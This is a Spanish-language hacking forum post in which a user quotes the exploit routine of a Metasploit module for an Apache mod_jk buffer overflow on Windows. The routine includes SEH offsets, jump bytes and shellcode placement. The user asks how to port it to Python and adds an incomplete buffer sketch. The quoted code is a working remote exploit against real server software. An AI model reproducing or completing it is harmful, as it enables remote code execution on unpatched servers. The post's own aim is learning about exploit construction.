elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Duda en codigo ruby Metasploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Duda en codigo ruby Metasploit  (Leído 2,951 veces)
RocKHounD

Desconectado Desconectado

Mensajes: 46


Ver Perfil WWW
Duda en codigo ruby Metasploit
« en: 15 Abril 2012, 23:58 pm »

Buenas, aquí esta el codigo:

http://www.exploit-db.com/exploits/16798/

Mi duda es esta

Código:
  
    def exploit
        connect
 
        uri_start  = "GET /"
        uri_end    = ".html HTTP/1.0\r\n\r\n"
        sc_base    = 16
 
        shellcode  = payload.encoded
        sploit     = rand_text_alphanumeric(5001)
        sploit[sc_base, shellcode.length] = shellcode
 
        # 4343 : Apache/1.3.37 (Win32) mod_jk/1.2.20
        # 4407 : Apache/2.0.59 (Win32) mod_jk/1.2.20
        # 4423 : Apache/2.2.3  (Win32) mod_jk/1.2.20
 
        [ 4343, 4407, 4423 ].each { |seh_offset|
            sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
            sploit[seh_offset - 4, 2] = "\xeb\xf9"
            sploit[seh_offset    , 4] = [ target.ret ].pack('V')
        }
 
        


Estoy tratando de pasarlo a python, las líneas que no se interpretar son las siguientes:
Código:
sploit[sc_base, shellcode.length] = shellcode
sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
sploit[seh_offset - 4, 2] = "\xeb\xf9"
sploit[seh_offset    , 4] = [ target.ret ].pack('V')


Como seguirías este buffer?

Código:

Buffer = "GET /"
Buffer += '\x41' * 5001
Buffer += ????
Buffer += ????
[...]
Buffer += ".html HTTP/1.0\r\n\r\n"

Gracias chicos!!
« Última modificación: 16 Abril 2012, 00:13 am por RocKHounD » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problemas instalando soporte para SQLite-Ruby en Metasploit (Ubuntu 10.04) « 1 2 »
GNU/Linux
aaronduran2 10 9,702 Último mensaje 13 Junio 2011, 13:29 pm
por juanlu16
nuevo metasploit en ruby
Hacking
Elmonky 1 2,839 Último mensaje 10 Abril 2011, 17:51 pm
por toxeek
(SOLUCIONADO) Metasploit, oracle y ruby-oci8
Bugs y Exploits
xustyx 2 5,256 Último mensaje 7 Diciembre 2012, 05:16 am
por xustyx
Duda con código simple (creo) en Ruby.
Scripting
Saito_25 2 2,223 Último mensaje 28 Marzo 2015, 20:18 pm
por Saito_25
MOVIDO: Duda con código simple (creo) en Ruby.
Programación General
Eleкtro 0 1,439 Último mensaje 29 Marzo 2015, 10:18 am
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines